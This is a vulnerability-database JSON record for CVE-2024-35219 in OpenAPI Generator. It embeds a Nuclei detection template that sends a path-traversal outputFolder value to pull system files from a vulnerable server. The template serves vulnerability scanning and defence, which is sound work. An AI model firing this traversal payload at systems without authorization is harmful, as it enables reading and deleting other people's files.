{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-35219/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-35219/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-35219/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-35219/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-35219/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-35219"},"sightings":{"href":"/api/v1/sightings/cve-2024-35219"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-35219.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-35219\n\ninfo:\n  name: OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.\n  impact: |\n    Authenticated attackers can read and delete arbitrary files and folders from writable directories.\n  remediation: |\n    Update OpenAPI Generator to a version later than 7.5.0.\n  reference:\n    - https://www.sonarsource.com/blog/the-power-of-taint-analysis-uncovering-critical-code-vulnerability-in-openapi-generator/\n    - https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d\n    - https://github.com/OpenAPITools/openapi-generator/pull/18652\n    - https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-35219\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H\n    cvss-score: 8.3\n    cve-id: CVE-2024-35219\n    cwe-id: CWE-22\n    epss-score: 0.03592\n    epss-percentile: 0.88933\n  metadata:\n    max-request: 2\n    verified: true\n  tags: cve,cve2024,openapi,intrusive,lfi,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/gen/clients/csharp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"authorizationValue\": {\n            \"keyName\": \"string\",\n            \"type\": \"string\",\n            \"value\": \"string\"\n          },\n         \"openAPIUrl\": \"https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml\",\n           \"options\": {\"outputFolder\":\"../../../../../../usr/share/pixmaps/\"},\n          \"spec\": {}\n        }\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - code\n          - link\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: code\n        part: body\n        json:\n          - '.code'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/gen/download/{{code}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"pixmaps/debian-logo.png\"\n# digest: 490a0046304402201f70380be5cc45cb2a96ca546fd9bdf9c07583799ffbb30d8eba1a97d9e60cbd022052a1af5c33031c37d9df4cd607d13f2ac108b3899cfe484b2bb8d34f33ff3a61:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-35219"}